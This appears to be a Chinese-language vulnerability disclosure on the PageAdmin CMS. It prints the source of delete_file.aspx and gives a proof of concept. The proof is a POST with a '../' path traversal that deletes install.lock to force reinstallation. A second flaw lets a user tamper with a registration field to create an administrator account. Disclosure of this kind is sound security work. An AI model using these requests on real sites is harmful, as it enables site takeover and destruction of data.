### 简要描述:
最新版任意文件删除
### 详细说明:
漏洞一 任意文件删除 可导致系统重装 不过需要管理员权限
看下这个文件
```
e/aspx/delete_file.aspx
```
```
<% @ Page language="c#"%>
<% @ Import NameSpace="System.Data"%>
<% @ Import NameSpace="System.Data.OleDb"%>
<% @ Import NameSpace="System.IO"%>
<% @ Import NameSpace="PageAdmin"%>
<script Language="C#" Runat="server">
override protected void OnInit(EventArgs e)
{
Check_Post();
string Table=Request.Form["table"];
string Field=Request.Form["field"];
string Id=Request.Form["id"];
string D_File=Request.Form["path"];
string UserName="";
int IsMaster=0;
int CanDel=1;
if(IsStr(Table) && IsStr(Field) && IsNum(Id))
{
Conn theconn=new Conn();
OleDbConnection conn=new OleDbConnection(theconn.Constr());
conn.Open();
if(Request.Cookies["Master"]!=null)
{
Master_Valicate Master=new Master_Valicate();
Master.Master_Check();
IsMaster=1;
}
else
{
Member_Valicate Member=new Member_Valicate();
Member.Member_Check();
UserName=Member._UserName;
}
string sql;
OleDbCommand comm;
OleDbDataReader dr;
sql="select id from pa_field where thetable='"+Table+"' and [field]='"+Field+"'";
comm=new OleDbCommand(sql,conn);
dr=comm.ExecuteReader();
if(!dr.Read()
{
CanDel=0;
}
dr.Close();
if(CanDel==1) //数据库要有刚才那个记录 candel的值才不会被修改为0
{
if(IsMaster==1) //需要管理员权限
{
Del_File(D_File); //跟进
}
if(Id!="0")
{
if(IsMaster==0)
{
sql="update "+Table+" set "+Field+"='' where username='"+UserName+"'' and id="+Id;
}
else
{
sql="update "+Table+" set "+Field+"='' where id="+Id;
}
comm=new OleDbCommand(sql,conn);
comm.ExecuteNonQuery();
if(IsMaster==0)
{
sql="update pa_file set detail_id=0 where username='"+UserName+"'' and thetable='"+Table+"' and [field]='"+Field+"' and detail_id="+Id;
}
else
{
sql="update pa_file set detail_id=0 where thetable='"+Table+"' and [field]='"+Field+"' and detail_id="+Id;
}
comm=new OleDbCommand(sql,conn);
comm.ExecuteNonQuery();
}
}
conn.Close();
}
}
private void Del_File(string FilePath)
{
if(FilePath!="" && FilePath.IndexOf(":")<0 && FilePath.IndexOf("/ehttps://images.seebug.org/upload/")==0) //没过滤..可跳出目录 要以/ehttps://images.seebug.org/upload/ 开头
{
if(FilePath.IndexOf("/zdy/")<0)
{
FilePath=Server.MapPath(FilePath);
if(File.Exists(FilePath))
{
File.Delete(FilePath);
}
}
}
}
```
漏洞证明
可结合大牛的漏洞进行组合攻击
PageAdmin可绕过验证伪造任意用户身份登录(前台、后台)
```
http://wooyun.org/bugs/wooyun-2010-061861
```
现在进行测试就不用上面的步骤了,默认admin/admin 登陆后台,
然后访问
```
http://192.168.1.104/e/aspx/delete_file.aspx
```
post 提交
```
table=pa_member&Field=pa_address&id=0&path=/ehttps://images.seebug.org/upload/../install/install.lock
```
本来是这样的 install.lock没删除
[<img src="https://images.seebug.org/upload/201406/28103522fd8a2e072c4337716d626c64d9fe91c5.png" alt="912.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/28103522fd8a2e072c4337716d626c64d9fe91c5.png)
按上面操作之后
[<img src="https://images.seebug.org/upload/201406/2810360592e38c5797e984f757183e2ffc77807d.png" alt="914.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/2810360592e38c5797e984f757183e2ffc77807d.png)
系统就可以重新安装了
或者可删除任意文件了
漏洞二 系统后台是默认 不允许注册管理员的
[<img src="https://images.seebug.org/upload/201406/281038347c2a12c4fed6f556d4175c59840a8307.png" alt="915.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/281038347c2a12c4fed6f556d4175c59840a8307.png)
我们看下前台注册吧
访问
```
http://192.168.1.104/e/member/index.aspx?s=1&type=reg
```
我们提交注册信息抓下包看看
[<img src="https://images.seebug.org/upload/201406/28104526fb23270f46243204e445fb498775d4af.png" alt="916.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/28104526fb23270f46243204e445fb498775d4af.png)
多了一个用户组 1代表普通会员 8代表管理员 把他修改成提交
[<img src="https://images.seebug.org/upload/201406/281045378dddf36d0ee1189e780863f6815c2da6.png" alt="917.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/281045378dddf36d0ee1189e780863f6815c2da6.png)
[<img src="https://images.seebug.org/upload/201406/2810454676643d656d0075b1c9687eba7f94db85.png" alt="918.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/2810454676643d656d0075b1c9687eba7f94db85.png)
[<img src="https://images.seebug.org/upload/201406/281046370aaf76a69235f8173d9150b46f74842b.png" alt="919.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/281046370aaf76a69235f8173d9150b46f74842b.png)
然后看下后台
[<img src="https://images.seebug.org/upload/201406/281047593082e5f223bc97ecad35eb247b79ee06.png" alt="913.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/281047593082e5f223bc97ecad35eb247b79ee06.png)
后台虽然设置了 禁止注册管理员账号 但是我们还是注册了管理员账号
如果开启了这样的模式
[<img src="https://images.seebug.org/upload/201406/2810495875715eca60c632fb07651e24c7cf3009.png" alt="813.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/2810495875715eca60c632fb07651e24c7cf3009.png)
很多人认为 如果禁止了管理员注册了 那么第二个选项 是否审核注册用户觉得很多余了 干脆不审核注册管理员账号 或者可以设置邮箱验证(下拉有三个选项 不要选无需验证就好) 哈哈 那就危险了
### 漏洞证明:
漏洞证明如上
暂无评论